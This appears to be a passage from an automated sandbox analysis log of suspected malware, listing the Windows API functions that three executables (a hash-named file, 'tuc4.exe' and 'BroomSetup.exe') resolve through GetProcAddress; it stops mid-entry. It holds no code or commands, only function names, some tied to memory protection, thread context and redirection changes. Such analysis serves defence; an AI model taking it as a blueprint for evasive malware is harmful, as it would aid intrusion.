"288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter WaitForMultipleObjects (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SwitchToThread (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SuspendThread (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SetWaitableTimer (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SetUnhandledExceptionFilter (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SetProcessPriorityBoost (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter PostQueuedCompletionStatus (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetSystemDirectoryA (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetQueuedCompletionStatusEx (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetProcessAffinityMask (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateIoCompletionPort (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateEventA (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter AddVectoredExceptionHandler (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter WSAGetOverlappedResult (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter WTSQuerySessionInformationW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CLSIDFromProgID (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetUserDefaultLCID (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter VariantInit (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter SetFilePointerEx (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter NetUserGetInfo (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00008600) "tuc4.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter SetDllDirectoryW (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter SetSearchPathMode (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter SetProcessDEPPolicy (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00008828) "tuc4.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00008828) "BroomSetup.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThreadUILanguage (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceExW (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarNeg (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarNot (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarAdd (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarSub (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarMul (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarDiv (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarIdiv (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarMod (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarAnd (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarOr (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarXor (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarCmp (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarI4FromStr (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarR4FromStr (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarR8FromStr (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarDateFromStr (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarCyFromStr (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarBoolFromStr (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarBstrFromCy (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarBstrFromDate (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter VarBstrFromBool (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CoAddRefServerProcess (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CoReleaseServerProcess (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CoResumeClassObjects (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CoSuspendClassObjects (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter WTSRegisterSessionNotification (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter BufferedPaintInit (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter AnimateWindow (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter InitializeFlatSB (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter UninitializeFlatSB (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollProp (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollProp (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_EnableScrollBar (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_ShowScrollBar (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollRange (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollInfo (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollPos (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollPos (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollInfo (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollRange (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SetLayeredWindowAttributes (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GradientFill (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDrawArc (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDrawLine (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipCreatePen1 (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdiplusShutdown (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDrawEllipse (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipFillEllipse (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipCreateFromHDC (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipCreateSolidFill (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipSetSmoothingMode (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDrawImageRectRect (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipSetCompositingMode (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipSetCompositingQuality (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDeleteGraphics (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDisposeImage (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipBitmapLockBits (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromScan0 (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipBitmapUnlockBits (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetScrollBarInfo (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeText (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeBackgroundExtent (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemePartSize (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeTextExtent (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeTextMetrics (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeBackgroundRegion (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter HitTestThemeBackground (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeEdge (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeIcon (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter IsThemePartDefined (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter IsThemeBackgroundPartiallyTransparent (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeColor (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeMetric (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeString (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeInt (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeEnumValue (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemePosition (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeFont (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeRect (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeMargins (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeIntList 